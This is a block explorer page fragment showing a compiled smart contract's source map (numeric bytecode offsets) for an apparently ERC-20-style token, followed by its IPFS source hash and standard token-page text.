:::-;3868:119;4054:1;4043:9;4039:17;4026:31;4084:18;4076:6;4073:30;4070:117;;;4106:79;;:::i;:::-;4070:117;4219:80;4291:7;4282:6;4271:9;4267:22;4219:80;:::i;:::-;4201:98;;;;3997:312;4348:2;4374:50;4416:7;4407:6;4396:9;4392:22;4374:50;:::i;:::-;4364:60;;4319:115;3743:698;;;;;:::o;4447:323::-;4503:6;4552:2;4540:9;4531:7;4527:23;4523:32;4520:119;;;4558:79;;:::i;:::-;4520:119;4678:1;4703:50;4745:7;4736:6;4725:9;4721:22;4703:50;:::i;:::-;4693:60;;4649:114;4447:323;;;;:::o;4776:329::-;4835:6;4884:2;4872:9;4863:7;4859:23;4855:32;4852:119;;;4890:79;;:::i;:::-;4852:119;5010:1;5035:53;5080:7;5071:6;5060:9;5056:22;5035:53;:::i;:::-;5025:63;;4981:117;4776:329;;;;:::o;5111:619::-;5188:6;5196;5204;5253:2;5241:9;5232:7;5228:23;5224:32;5221:119;;;5259:79;;:::i;:::-;5221:119;5379:1;5404:53;5449:7;5440:6;5429:9;5425:22;5404:53;:::i;:::-;5394:63;;5350:117;5506:2;5532:53;5577:7;5568:6;5557:9;5553:22;5532:53;:::i;:::-;5522:63;;5477:118;5634:2;5660:53;5705:7;5696:6;5685:9;5681:22;5660:53;:::i;:::-;5650:63;;5605:118;5111:619;;;;;:::o;5736:663::-;5824:6;5832;5840;5889:2;5877:9;5868:7;5864:23;5860:32;5857:119;;;5895:79;;:::i;:::-;5857:119;6015:1;6040:64;6096:7;6087:6;6076:9;6072:22;6040:64;:::i;:::-;6030:74;;5986:128;6153:2;6179:64;6235:7;6226:6;6215:9;6211:22;6179:64;:::i;:::-;6169:74;;6124:129;6292:2;6318:64;6374:7;6365:6;6354:9;6350:22;6318:64;:::i;:::-;6308:74;;6263:129;5736:663;;;;;:::o;6405:839::-;6504:6;6512;6520;6528;6577:2;6565:9;6556:7;6552:23;6548:32;6545:119;;;6583:79;;:::i;:::-;6545:119;6703:1;6728:51;6771:7;6762:6;6751:9;6747:22;6728:51;:::i;:::-;6718:61;;6674:115;6828:2;6854:50;6896:7;6887:6;6876:9;6872:22;6854:50;:::i;:::-;6844:60;;6799:115;6981:2;6970:9;6966:18;6953:32;7012:18;7004:6;7001:30;6998:117;;;7034:79;;:::i;:::-;6998:117;7147:80;7219:7;7210:6;7199:9;7195:22;7147:80;:::i;:::-;7129:98;;;;6924:313;6405:839;;;;;;;:::o;7250:179::-;7319:10;7340:46;7382:3;7374:6;7340:46;:::i;:::-;7418:4;7413:3;7409:14;7395:28;;7250:179;;;;:::o;7435:142::-;7538:32;7564:5;7538:32;:::i;:::-;7533:3;7526:45;7435:142;;:::o;7583:108::-;7660:24;7678:5;7660:24;:::i;:::-;7655:3;7648:37;7583:108;;:::o;7697:118::-;7784:24;7802:5;7784:24;:::i;:::-;7779:3;7772:37;7697:118;;:::o;7851:732::-;7970:3;7999:54;8047:5;7999:54;:::i;:::-;8069:86;8148:6;8143:3;8069:86;:::i;:::-;8062:93;;8179:56;8229:5;8179:56;:::i;:::-;8258:7;8289:1;8274:284;8299:6;8296:1;8293:13;8274:284;;;8375:6;8369:13;8402:63;8461:3;8446:13;8402:63;:::i;:::-;8395:70;;8488:60;8541:6;8488:60;:::i;:::-;8478:70;;8334:224;8321:1;8318;8314:9;8309:14;;8274:284;;;8278:14;8574:3;8567:10;;7975:608;;;7851:732;;;;:::o;8589:109::-;8670:21;8685:5;8670:21;:::i;:::-;8665:3;8658:34;8589:109;;:::o;8704:183::-;8817:63;8874:5;8817:63;:::i;:::-;8812:3;8805:76;8704:183;;:::o;8893:147::-;8988:45;9027:5;8988:45;:::i;:::-;8983:3;8976:58;8893:147;;:::o;9046:364::-;9134:3;9162:39;9195:5;9162:39;:::i;:::-;9217:71;9281:6;9276:3;9217:71;:::i;:::-;9210:78;;9297:52;9342:6;9337:3;9330:4;9323:5;9319:16;9297:52;:::i;:::-;9374:29;9396:6;9374:29;:::i;:::-;9369:3;9365:39;9358:46;;9138:272;9046:364;;;;:::o;9416:366::-;9558:3;9579:67;9643:2;9638:3;9579:67;:::i;:::-;9572:74;;9655:93;9744:3;9655:93;:::i;:::-;9773:2;9768:3;9764:12;9757:19;;9416:366;;;:::o;9788:::-;9930:3;9951:67;10015:2;10010:3;9951:67;:::i;:::-;9944:74;;10027:93;10116:3;10027:93;:::i;:::-;10145:2;10140:3;10136:12;10129:19;;9788:366;;;:::o;10160:::-;10302:3;10323:67;10387:2;10382:3;10323:67;:::i;:::-;10316:74;;10399:93;10488:3;10399:93;:::i;:::-;10517:2;10512:3;10508:12;10501:19;;10160:366;;;:::o;10532:::-;10674:3;10695:67;10759:2;10754:3;10695:67;:::i;:::-;10688:74;;10771:93;10860:3;10771:93;:::i;:::-;10889:2;10884:3;10880:12;10873:19;;10532:366;;;:::o;10904:::-;11046:3;11067:67;11131:2;11126:3;11067:67;:::i;:::-;11060:74;;11143:93;11232:3;11143:93;:::i;:::-;11261:2;11256:3;11252:12;11245:19;;10904:366;;;:::o;11276:::-;11418:3;11439:67;11503:2;11498:3;11439:67;:::i;:::-;11432:74;;11515:93;11604:3;11515:93;:::i;:::-;11633:2;11628:3;11624:12;11617:19;;11276:366;;;:::o;11648:::-;11790:3;11811:67;11875:2;11870:3;11811:67;:::i;:::-;11804:74;;11887:93;11976:3;11887:93;:::i;:::-;12005:2;12000:3;11996:12;11989:19;;11648:366;;;:::o;12020:118::-;12107:24;12125:5;12107:24;:::i;:::-;12102:3;12095:37;12020:118;;:::o;12144:112::-;12227:22;12243:5;12227:22;:::i;:::-;12222:3;12215:35;12144:112;;:::o;12262:222::-;12355:4;12393:2;12382:9;12378:18;12370:26;;12406:71;12474:1;12463:9;12459:17;12450:6;12406:71;:::i;:::-;12262:222;;;;:::o;12490:254::-;12599:4;12637:2;12626:9;12622:18;12614:26;;12650:87;12734:1;12723:9;12719:17;12710:6;12650:87;:::i;:::-;12490:254;;;;:::o;12750:807::-;12999:4;13037:3;13026:9;13022:19;13014:27;;13051:71;13119:1;13108:9;13104:17;13095:6;13051:71;:::i;:::-;13132:72;13200:2;13189:9;13185:18;13176:6;13132:72;:::i;:::-;13214:80;13290:2;13279:9;13275:18;13266:6;13214:80;:::i;:::-;13304;13380:2;13369:9;13365:18;13356:6;13304:80;:::i;:::-;13394:73;13462:3;13451:9;13447:19;13438:6;13394:73;:::i;:::-;13477;13545:3;13534:9;13530:19;13521:6;13477:73;:::i;:::-;12750:807;;;;;;;;;:::o;13563:210::-;13650:4;13688:2;13677:9;13673:18;13665:26;;13701:65;13763:1;13752:9;13748:17;13739:6;13701:65;:::i;:::-;13563:210;;;;:::o;13779:274::-;13898:4;13936:2;13925:9;13921:18;13913:26;;13949:97;14043:1;14032:9;14028:17;14019:6;13949:97;:::i;:::-;13779:274;;;;:::o;14059:313::-;14172:4;14210:2;14199:9;14195:18;14187:26;;14259:9;14253:4;14249:20;14245:1;14234:9;14230:17;14223:47;14287:78;14360:4;14351:6;14287:78;:::i;:::-;14279:86;;14059:313;;;;:::o;14378:419::-;14544:4;14582:2;14571:9;14567:18;14559:26;;14631:9;14625:4;14621:20;14617:1;14606:9;14602:17;14595:47;14659:131;14785:4;14659:131;:::i;:::-;14651:139;;14378:419;;;:::o;14803:::-;14969:4;15007:2;14996:9;14992:18;14984:26;;15056:9;15050:4;15046:20;15042:1;15031:9;15027:17;15020:47;15084:131;15210:4;15084:131;:::i;:::-;15076:139;;14803:419;;;:::o;15228:::-;15394:4;15432:2;15421:9;15417:18;15409:26;;15481:9;15475:4;15471:20;15467:1;15456:9;15452:17;15445:47;15509:131;15635:4;15509:131;:::i;:::-;15501:139;;15228:419;;;:::o;15653:::-;15819:4;15857:2;15846:9;15842:18;15834:26;;15906:9;15900:4;15896:20;15892:1;15881:9;15877:17;15870:47;15934:131;16060:4;15934:131;:::i;:::-;15926:139;;15653:419;;;:::o;16078:::-;16244:4;16282:2;16271:9;16267:18;16259:26;;16331:9;16325:4;16321:20;16317:1;16306:9;16302:17;16295:47;16359:131;16485:4;16359:131;:::i;:::-;16351:139;;16078:419;;;:::o;16503:::-;16669:4;16707:2;16696:9;16692:18;16684:26;;16756:9;16750:4;16746:20;16742:1;16731:9;16727:17;16720:47;16784:131;16910:4;16784:131;:::i;:::-;16776:139;;16503:419;;;:::o;16928:::-;17094:4;17132:2;17121:9;17117:18;17109:26;;17181:9;17175:4;17171:20;17167:1;17156:9;17152:17;17145:47;17209:131;17335:4;17209:131;:::i;:::-;17201:139;;16928:419;;;:::o;17353:222::-;17446:4;17484:2;17473:9;17469:18;17461:26;;17497:71;17565:1;17554:9;17550:17;17541:6;17497:71;:::i;:::-;17353:222;;;;:::o;17581:483::-;17752:4;17790:2;17779:9;17775:18;17767:26;;17803:71;17871:1;17860:9;17856:17;17847:6;17803:71;:::i;:::-;17921:9;17915:4;17911:20;17906:2;17895:9;17891:18;17884:48;17949:108;18052:4;18043:6;17949:108;:::i;:::-;17941:116;;17581:483;;;;;:::o;18070:831::-;18333:4;18371:3;18360:9;18356:19;18348:27;;18385:71;18453:1;18442:9;18438:17;18429:6;18385:71;:::i;:::-;18466:80;18542:2;18531:9;18527:18;18518:6;18466:80;:::i;:::-;18593:9;18587:4;18583:20;18578:2;18567:9;18563:18;18556:48;18621:108;18724:4;18715:6;18621:108;:::i;:::-;18613:116;;18739:72;18807:2;18796:9;18792:18;18783:6;18739:72;:::i;:::-;18821:73;18889:3;18878:9;18874:19;18865:6;18821:73;:::i;:::-;18070:831;;;;;;;;:::o;18907:214::-;18996:4;19034:2;19023:9;19019:18;19011:26;;19047:67;19111:1;19100:9;19096:17;19087:6;19047:67;:::i;:::-;18907:214;;;;:::o;19208:132::-;19275:4;19298:3;19290:11;;19328:4;19323:3;19319:14;19311:22;;19208:132;;;:::o;19346:114::-;19413:6;19447:5;19441:12;19431:22;;19346:114;;;:::o;19466:99::-;19518:6;19552:5;19546:12;19536:22;;19466:99;;;:::o;19571:113::-;19641:4;19673;19668:3;19664:14;19656:22;;19571:113;;;:::o;19690:184::-;19789:11;19823:6;19818:3;19811:19;19863:4;19858:3;19854:14;19839:29;;19690:184;;;;:::o;19880:169::-;19964:11;19998:6;19993:3;19986:19;20038:4;20033:3;20029:14;20014:29;;19880:169;;;;:::o;20055:305::-;20095:3;20114:20;20132:1;20114:20;:::i;:::-;20109:25;;20148:20;20166:1;20148:20;:::i;:::-;20143:25;;20302:1;20234:66;20230:74;20227:1;20224:81;20221:107;;;20308:18;;:::i;:::-;20221:107;20352:1;20349;20345:9;20338:16;;20055:305;;;;:::o;20366:185::-;20406:1;20423:20;20441:1;20423:20;:::i;:::-;20418:25;;20457:20;20475:1;20457:20;:::i;:::-;20452:25;;20496:1;20486:35;;20501:18;;:::i;:::-;20486:35;20543:1;20540;20536:9;20531:14;;20366:185;;;;:::o;20557:348::-;20597:7;20620:20;20638:1;20620:20;:::i;:::-;20615:25;;20654:20;20672:1;20654:20;:::i;:::-;20649:25;;20842:1;20774:66;20770:74;20767:1;20764:81;20759:1;20752:9;20745:17;20741:105;20738:131;;;20849:18;;:::i;:::-;20738:131;20897:1;20894;20890:9;20879:20;;20557:348;;;;:::o;20911:191::-;20951:4;20971:20;20989:1;20971:20;:::i;:::-;20966:25;;21005:20;21023:1;21005:20;:::i;:::-;21000:25;;21044:1;21041;21038:8;21035:34;;;21049:18;;:::i;:::-;21035:34;21094:1;21091;21087:9;21079:17;;20911:191;;;;:::o;21108:96::-;21145:7;21174:24;21192:5;21174:24;:::i;:::-;21163:35;;21108:96;;;:::o;21210:104::-;21255:7;21284:24;21302:5;21284:24;:::i;:::-;21273:35;;21210:104;;;:::o;21320:90::-;21354:7;21397:5;21390:13;21383:21;21372:32;;21320:90;;;:::o;21416:126::-;21453:7;21493:42;21486:5;21482:54;21471:65;;21416:126;;;:::o;21548:77::-;21585:7;21614:5;21603:16;;21548:77;;;:::o;21631:86::-;21666:7;21706:4;21699:5;21695:16;21684:27;;21631:86;;;:::o;21723:152::-;21799:9;21832:37;21863:5;21832:37;:::i;:::-;21819:50;;21723:152;;;:::o;21881:121::-;21939:9;21972:24;21990:5;21972:24;:::i;:::-;21959:37;;21881:121;;;:::o;22008:126::-;22058:9;22091:37;22122:5;22091:37;:::i;:::-;22078:50;;22008:126;;;:::o;22140:113::-;22190:9;22223:24;22241:5;22223:24;:::i;:::-;22210:37;;22140:113;;;:::o;22259:307::-;22327:1;22337:113;22351:6;22348:1;22345:13;22337:113;;;22436:1;22431:3;22427:11;22421:18;22417:1;22412:3;22408:11;22401:39;22373:2;22370:1;22366:10;22361:15;;22337:113;;;22468:6;22465:1;22462:13;22459:101;;;22548:1;22539:6;22534:3;22530:16;22523:27;22459:101;22308:258;22259:307;;;:::o;22572:320::-;22616:6;22653:1;22647:4;22643:12;22633:22;;22700:1;22694:4;22690:12;22721:18;22711:81;;22777:4;22769:6;22765:17;22755:27;;22711:81;22839:2;22831:6;22828:14;22808:18;22805:38;22802:84;;;22858:18;;:::i;:::-;22802:84;22623:269;22572:320;;;:::o;22898:233::-;22937:3;22960:24;22978:5;22960:24;:::i;:::-;22951:33;;23006:66;22999:5;22996:77;22993:103;;;23076:18;;:::i;:::-;22993:103;23123:1;23116:5;23112:13;23105:20;;22898:233;;;:::o;23137:180::-;23185:77;23182:1;23175:88;23282:4;23279:1;23272:15;23306:4;23303:1;23296:15;23323:180;23371:77;23368:1;23361:88;23468:4;23465:1;23458:15;23492:4;23489:1;23482:15;23509:180;23557:77;23554:1;23547:88;23654:4;23651:1;23644:15;23678:4;23675:1;23668:15;23695:180;23743:77;23740:1;23733:88;23840:4;23837:1;23830:15;23864:4;23861:1;23854:15;23881:180;23929:77;23926:1;23919:88;24026:4;24023:1;24016:15;24050:4;24047:1;24040:15;24067:117;24176:1;24173;24166:12;24190:117;24299:1;24296;24289:12;24313:117;24422:1;24419;24412:12;24436:117;24545:1;24542;24535:12;24559:117;24668:1;24665;24658:12;24682:102;24723:6;24774:2;24770:7;24765:2;24758:5;24754:14;24750:28;24740:38;;24682:102;;;:::o;24790:222::-;24930:34;24926:1;24918:6;24914:14;24907:58;24999:5;24994:2;24986:6;24982:15;24975:30;24790:222;:::o;25018:221::-;25158:34;25154:1;25146:6;25142:14;25135:58;25227:4;25222:2;25214:6;25210:15;25203:29;25018:221;:::o;25245:177::-;25385:29;25381:1;25373:6;25369:14;25362:53;25245:177;:::o;25428:220::-;25568:34;25564:1;25556:6;25552:14;25545:58;25637:3;25632:2;25624:6;25620:15;25613:28;25428:220;:::o;25654:182::-;25794:34;25790:1;25782:6;25778:14;25771:58;25654:182;:::o;25842:224::-;25982:34;25978:1;25970:6;25966:14;25959:58;26051:7;26046:2;26038:6;26034:15;26027:32;25842:224;:::o;26072:223::-;26212:34;26208:1;26200:6;26196:14;26189:58;26281:6;26276:2;26268:6;26264:15;26257:31;26072:223;:::o;26301:122::-;26374:24;26392:5;26374:24;:::i;:::-;26367:5;26364:35;26354:63;;26413:1;26410;26403:12;26354:63;26301:122;:::o;26429:116::-;26499:21;26514:5;26499:21;:::i;:::-;26492:5;26489:32;26479:60;;26535:1;26532;26525:12;26479:60;26429:116;:::o;26551:122::-;26624:24;26642:5;26624:24;:::i;:::-;26617:5;26614:35;26604:63;;26663:1;26660;26653:12;26604:63;26551:122;:::o;26679:118::-;26750:22;26766:5;26750:22;:::i;:::-;26743:5;26740:33;26730:61;;26787:1;26784;26777:12;26730:61;26679:118;:::o

Swarm Source

ipfs://930ede43c9337c59cf06065ce0f68eb074fad5899a3b1834040a8576cf2ac0e7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.